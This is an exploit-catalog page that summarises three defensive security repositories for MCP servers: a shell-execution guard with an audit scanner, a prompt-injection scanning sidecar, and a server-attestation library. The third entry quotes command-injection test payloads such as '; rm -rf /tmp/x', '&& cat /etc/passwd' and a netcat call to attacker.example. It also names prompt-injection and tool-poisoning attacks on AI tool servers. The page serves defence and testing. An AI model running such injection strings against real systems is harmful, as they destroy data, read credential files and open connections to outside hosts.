Exploit catalog results

Showing 3 PoCs on this page

GitHub

studiomeyer-io/mcp-stdio-shellguard

Repository PoCStars: 0Created 2026-05-07
ScannerCVE-2025-6925648 files

434.1 KiB

Analysisdeepseek-v4-pro:cloud ·

Technical assessment

The repository is a defense-in-depth bundle for MCP stdio servers. It provides a library API for guarded shell execution and an AST-based audit CLI (`mcp-shellguard-audit`) that scans TypeScript/JavaScript sources for unsanitized `child_process` calls. The code does not exploit any vulnerability; it detects and reports anti-patterns.

Backdoor review

No backdoor observed in reviewed code

The reviewed text files constitute a defensive security library (payload withheld) that wraps child_process calls with allowlists, sandboxing, and replay detection, plus an audit scanner. All supplied source code is consistent with the library's stated purpose of mitigating command injection in MCP servers. No concealed executable behavior, credential theft, persistence mechanisms, or unrelated payloads were observed.

ClassificationScanner
Model confidence95%
AuthenticationNot required
LanguagesTypeScriptJavaScript
Target softwareMCP stdio serversNode.js child_process
Attack typescommand_injection
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The primary artifact is a scanner. The audit CLI and library scan source code for command injection anti-patterns without exploiting them. The README describes it as a 'defensive-security counterpart' and 'scanner that closes the class'. No exploit code is present.

README.md:14-17src/audit/scanner.ts:1-6src/cli.ts:1-13

Requirements

  • The audit scanner requires TypeScript/JavaScript source files to scan.src/audit/scanner.ts:51

Observed behavior

  • The audit scanner parses source files into an AST and evaluates call expressions against 12 anti-pattern rules, emitting findings with severity levels.src/audit/scanner.ts:166-219
  • The CLI tool `mcp-shellguard-audit scan` accepts a path, scans it, and outputs a report in markdown, JSON, or SARIF format.src/cli.ts:76-150
  • The reference MCP server exposes tools like `audit_source` and `audit_report` that invoke the scanner and report formatter.src/server.ts:343-358
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Defensive Library
Payload withheldThe repository is a defense-in-depth bundle for MCP stdio servers, providing guardExec/guardSpawn wrappers and an audit CLI to detect unsanitized shell calls.README.md:14-17
Cve Reference
Payload withheldThe associated CVE describes a command injection vulnerability in the Serverless Framework's MCP server. This repository appears to be a mitigation tool for the class of vulnerability described, not the vulnerable code itself.README.md:16-17
Audit Scanner
Payload withheldThe audit scanner walks TypeScript/JavaScript ASTs to detect shell-injection anti-patterns, consistent with the library's defensive purpose.src/audit/scanner.ts:1-6
Review boundaries

What the analysis did not establish

  • Only 8 of 48 files in the repository are included as text evidence. The remaining 40 files (including guard implementations, tests, and patterns) are omitted, so the analysis is based on a subset of the codebase.
  • The evidence packet reports complete_artifact_coverage as false, indicating that not all files were inspected.
  • 40 files (402,663 bytes) were omitted from the evidence and not inspected; their content is unknown.
  • Binary files were flagged as metadata-only and not analyzed; no executable payloads were identified in the metadata.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

GitHub

studiomeyer-io/mcp-armor

Repository PoCStars: 1Created 2026-05-03
ScannerUnlinked66 files

Rust · 852.7 KiB

Analysisdeepseek-v4-pro:cloud ·

Technical assessment

The repository contains the source code for mcp-armor, a Rust sidecar that wraps MCP servers to scan tool calls for prompt injection, validate signatures, and block known attack patterns. The provided files include the README, benchmark code, CLI entry point, and a test that verifies the scanner blocks simulated CVE payloads. The primary artifact is a defensive scanner, not an exploit.

Backdoor review

No backdoor observed in reviewed code

The reviewed evidence consists of documentation (README.md), a benchmark (benches/scanner.rs), the CLI entry point (src/main.rs), and a CVE simulation test (tests/cve_simulation.rs) for the mcp-armor project. All files describe or implement legitimate security-sidecar functionality: wrapping MCP servers, scanning payloads for prompt injection, verifying signatures, managing a keystore, and running control-plane tools. No concealed executable behavior, deceptive payloads, credential theft, persistence mechanisms, or unrelated remote access were observed. The code performs exactly the operations documented in the README.

ClassificationScanner
Model confidence95%
AuthenticationNot required
LanguagesRust
Target softwareMCP serversMCP clients
Attack typesprompt injectioncommand injectionpath traversalhomoglyph attack
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The artifact is a defensive security tool that scans and blocks malicious payloads. The README describes it as a 'runtime defense sidecar' that 'scans tool calls for prompt injection'. The CLI code implements scan, verify, and wrap commands. The test file verifies that the scanner blocks simulated CVE payloads. No code is present that exploits a vulnerability; all functionality is for detection, prevention, or verification.

README.md:13src/main.rs:1-10tests/cve_simulation.rs:1-4

Requirements

  • The scanner is built and configured to wrap an MCP server.README.md:69-70

Observed behavior

  • Scans tool call payloads for prompt injection and other attack patterns using a multi-stage pipeline.README.md:17
  • Blocks tool calls that match known CVE patterns and records block decisions.README.md:17
  • Verifies Ed25519 signatures on tool manifests.README.md:13
  • Strips loader-class environment variables from spawned child processes.README.md:13
  • Detects tool-description and full-schema poisoning in tools/list responses.README.md:13
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Functionality
Payload withheldAll reviewed source files implement or test the documented security-sidecar features without deviation.src/main.rs:1-10src/main.rs:208-250src/main.rs:320-348src/main.rs:252-319
Test Coverage
Payload withheldThe test iterates over a curated CVE feed and asserts that each simulate_payload is blocked, confirming the scanner operates as intended.tests/cve_simulation.rs:8-41
Benchmark
Payload withheldThe benchmark file measures scan latency for payloads up to 100 kB, consistent with the documented performance budget.benches/scanner.rs:1-61
Review boundaries

What the analysis did not establish

  • Only 4 of 66 files in the repository were provided as text evidence. The remaining 62 files (including core scanner logic, CVE feed, and proxy implementation) were not included.
  • The evidence is source code only; no build artifacts, binaries, or runtime behavior were observed.
  • 62 files in the repository were not included in the text evidence; their content is unknown.
  • Binary policy is FLAGGED_METADATA_ONLY_NOT_ANALYZED, so any compiled artifacts or non-text files were not reviewed.
  • Only four of 66 total files were provided as readable text; the remaining 62 text files were omitted.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

GitHub

studiomeyer-io/mcp-server-attestation

Repository PoCStars: 0Created 2026-04-27
WriteupCVE-2025-61591CVE-2025-6925645 files

241.4 KiB

Analysisdeepseek-v4-pro:cloud ·

Technical assessment

The artifact is a repository containing a library, CLI, and demo server for MCP server attestation. The supplied text files are documentation (README.md, package.json) and test fixtures (CVE payloads). The README describes the project's purpose and security model, and the test fixtures list payloads associated with CVE-2025-61591 and CVE-2025-69256. No exploit or scanner code is present in the supplied evidence.

Backdoor review

No backdoor observed in reviewed code

The reviewed evidence consists of a README, a root package.json, and two CVE test fixture files from the mcp-server-attestation repository. The content describes a security library designed to mitigate command injection and supply-chain attacks in MCP servers. No backdoor, deceptive payload, or concealed harmful behavior is present in the supplied text. The fixture files contain known malicious payloads for regression testing, which is expected defensive behavior.

ClassificationWriteup
Model confidence95%
AuthenticationUnknown
LanguagesMarkdownJSONTypeScript
Target softwareCursorServerless Framework
Attack typesCommand InjectionRemote Code Execution
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The supplied evidence consists of a README, a package.json, and two JSON test fixture files. The README is a project description and security model writeup. The test fixtures contain lists of payload strings for known CVEs but do not contain any code that exercises or checks for a vulnerability. No executable exploit or scanner code is present in the supplied files.

README.md:1-151packages/lib/tests/fixtures/cve-2025-61591-payloads.json:1-19packages/lib/tests/fixtures/cve-2025-69256-payloads.json:1-23

Observed behavior

  • The README describes the project as a 'Layer-2 supply-chain hardening for Model Context Protocol servers' providing 'Ed25519-signed tool manifests, runtime spawn-attestation, default-deny argument sanitizer'.README.md:14
  • The test fixture payload withheld lists command strings such as '/bin/bash', '/usr/bin/curl', and 'powershell.exe' as payloads for CVE-2025-61591.packages/lib/tests/fixtures/cve-2025-61591-payloads.json:5-18
  • The test fixture payload withheld lists command injection strings such as '; rm -rf /tmp/x', '&& cat /etc/passwd', and '| nc attacker.example 4444' as payloads for CVE-2025-69256.packages/lib/tests/fixtures/cve-2025-69256-payloads.json:5-22
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Test Fixture
Payload withheldContains a list of command strings associated with CVE-2025-61591, used as test inputs to verify the library's blocking behavior.packages/lib/tests/fixtures/cve-2025-61591-payloads.json:1-19
Test Fixture
Payload withheldContains a list of command injection strings associated with CVE-2025-69256, used as test inputs to verify the library's blocking behavior.packages/lib/tests/fixtures/cve-2025-69256-payloads.json:1-23
Review boundaries

What the analysis did not establish

  • Only 4 of 45 files in the repository were supplied as text. The actual library source code, CLI code, and demo server code are not included in the evidence.
  • The evidence envelope reports 41 unclassified files totaling 236,342 bytes that were not analyzed.
  • The test fixture files contain payload strings but no test runner or assertion code is provided, so the behavior of the library against these payloads cannot be confirmed from the evidence.
  • Only 4 of 45 files in the repository were provided as readable text; 41 files were omitted, including all source code (e.g., TypeScript files in packages/lib, packages/cli, packages/demo-server). The actual implementation of the library, CLI, and demo server was not reviewed.
  • Binary files were not analyzed (binary_policy: FLAGGED_METADATA_ONLY_NOT_ANALYZED).
  • The review is limited to static text analysis; no dynamic or behavioral analysis was performed.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.